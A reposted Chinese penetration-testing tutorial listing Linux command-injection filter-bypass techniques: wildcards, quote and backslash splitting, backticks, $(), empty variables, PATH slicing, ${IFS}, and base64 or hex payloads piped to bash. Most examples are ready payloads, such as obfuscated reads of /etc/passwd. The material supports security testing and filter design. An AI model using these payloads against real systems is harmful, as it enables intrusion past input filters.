0


Linux下的命令执行绕过技巧合集(渗透测试专用)

一、通配符

    • 代表『0个到无穷多个』任意字符,包括空字符
  • ? 代表『一定有一个』任意字符

  • <input disabled="" type="checkbox"> 同样代表『一定有一个在括号内』的字符(非任意字符)。例如 [abcd] 代表『一定有一个字符, 可能是 a, b, c, d 这四个任何一个』

  • [ - ]若有减号在中括号内时,代表『在编码顺序内的所有字符』。例如 [0-9] 代表0到9之间的所有数字,因为数字的语系编码是连续的!

  • [ ^ ] 若中括号内的第一个字符为指数符号 (^) ,那表示『反向选择』,例如 [^abc] 代表 一定有一个字符,只要是非 a, b, c 的其他字符就接受的意思。

  • { } 和[ ]的区别是如果匹配的文件不存在,[ ]会失去模式的功能,变成一个单纯的字符串,而{ }依然可以展开。

利用方法:

  • 举例:/?in/cat /?tc/p?sswd //这个就相当于寻找/bin/cat /etc/passwd

  • /?in/[l][^dnpqrtuvwxyz] -l //这个就相当于/bin/ls -l ;其中[^dnpqrtuvwxyz]意思就是有这么一个字符,但是排除括号里这些。

  • /?in/[l][r-t] -l //这个就相当于/bin/ls -l;其中[r-t]意思是在r-t中进行选择,也就是从r s t 这三个中进行选择。

  • /bi?/ca[s-u] /etc/pass* //这个就相当于/bin/cat /etc/passwd ;其中/etc/pass中的代表一个或多个字符,它匹配到的为passwd。

二、连接符

1、单引号

  • 你唯一需要注意的就是闭合,这点很重要,利用这个我们可以绕过一些匹配字符串的WAF规则

  • 例如e'c'ho h'e'l'lo' //其中要注意前后的闭合;

  • 例如 读取/etc/passdw : /'b'i'n'/'c'a't' /'e't'c'/'p'a's's'w'd

2、双引号

  • 和单引号一样,同样要注意前后的闭合。

  • 例如 /"b"i"n"/"w"h"i"c"h" "n"c //其中要注意前后的闭合;

3、反斜杠

  • 举例:/b\i\n/w\h\i\c\h n\c

4、特殊连接符反引号 //反引号中间的字符会被当作命令执行

  • 举例:666whoami666 666\whoami666 //命令执行后的结果在2个666中间

  • echo d2hvYW1p|base64 -d //将其base64解码,然后用反引号来执行命令

  • 举例:w\666ho\666am\666i //反引号中的执行完拼接到一起再执行

遇到的情况:

遇到命令执行的漏洞,其中拼接了字符串但是前后加上了"" 双引号,并且过滤器过滤了双引号导致不能够闭合,则可以通过在反引号中添加要执行的命令拼接上,即可以先执行反引号中的内容,在拼接到原来命令种

比如:原命令是/bin/bash -c echo "123 keyword" 其中keyword可控,因为双引号被过滤 我们无法直接通过双引号闭合,所以可以通过反引号绕过:

keyword = `touch /tmp/success`

那么命令就成了:/bin/bash -c echo "123 touch /tmp/success"

这样就可以先执行touch /tmp/success,然后再执行echo 123

5、特殊连接符$( ) //$( )里面的字符会被当作命令执行

  • 举例:wh$(666)oa$(777)mi //$( )里面的内容先进行执行,再拼接到一起执行。

三、未初始化的bash变量

1、自定义未初始化的变量合并利用

  • 使用$*和$@,$x(x代表1-9),${x}(x>=10) 没有传参的情况下默认为空值。$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。$1-$8同理

  • 在bash环境下允许我们使用未初始化的bash变量,如下:

a=wh
b=oami
$a$b
root   //输出

2、默认下未定义的变量为空值,绕过过滤

  • 举例:$s/bin$s/which$s nc$s //这里的$s默认为空值,所以不会影响输出,实际仍然为/bin/which nc

3、默认变量

  • $PS2代替>

  • $PS4代替+

四、切割字符串

1、利用和Windows基本一致

  • 首先echo ${PATH} //查看我们的PATH路径

  • 判断长度echo ${#PATH} //查看我们PATH的长度

  • 确定要截取的长度echo ${PATH:61:6}

2、综合利用

  • 通过PATH中的字符串进行查找拼接

  • 先通过echo ${PATH}查看PATH的路径信息

  • 如需要查看whoami命令,根据PATH路径查找指定的字符:wh${PATH:6:1}${PATH:8:1}m${PATH:12:1}

五、特殊绕过(绕过空格过滤)

1、利用大花括号 { } 绕过

  • 在linux下我们还可以使用大花括号来绕过空格的限制

  • 举例:ls -alt命令中间的空格:{ls,-alt}

2、重定向符号绕过

  • 我们还可以使用<>来绕过空格。

  • linux中,小于号<表示的是输入重定向,就是把<后面跟的文件取代键盘作为新的输入设备

  • 大于号>是输出重定向,比如一条命令,默认是将结果输出到屏幕。

  • 但可以用>来将输出重定向,用后面的文件来取代屏幕,将输出保存进文件里

  • 举例:ls<>alt

  • 举例:cat<>1.txt cat<1.txt

3、Linux中特殊编码base64编码

  • 我们还可以在自己的linux系统中将命令进行base64编码,然后再拿去目标请求中命令执行,使用base64的-d参数解码。

举例:

echo whoami|base64                            //先输出whoami的base64编码

`echo d2hvYW1pCg==|base64 -d`                 //将其base64解码
echo "d2hvYW1pCg==" | base64 -d | bash        //将base64解码后的命令通过管道符传递给bash

4、进制转换

  • 第一种方式:然后命令为echo "0x636174202e2f312e747874" |xxd -r -p |bash 其中xxd为二进制查看命令,-r为逆向转换。

  • 第二种方式:$(printf "\x63\x61\x74\x20\x2e\x2f\x31\x2e\x74\x78\x74")

  • '\x3b'代替; 十六进制代替

5、%09(需要PHP环境)

  • php环境下web输入%09等效于空格

6、特殊变量${IFS} 或者 $IFS

  • 还有${IFS}是内部字段分隔符的缩写。可以当做空格来使用。

  • $IFS在linux下表示分隔符,单纯的cat$IFSxxx,bash解释器会把整个IFSxxx当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名。同理在后面加个$可以起到截断的作用。

  • 举例:cat /etc/passwd中间的空格:cat${IFS}/etc/passwd cat$IFS/etc/passwd


本文转载自: https://blog.csdn.net/Thunderclap_/article/details/129178221
版权归原作者 Thunderclap_ 所有, 如有侵权,请联系我们删除。

“Linux下的命令执行绕过技巧合集(渗透测试专用)”的评论:

还没有评论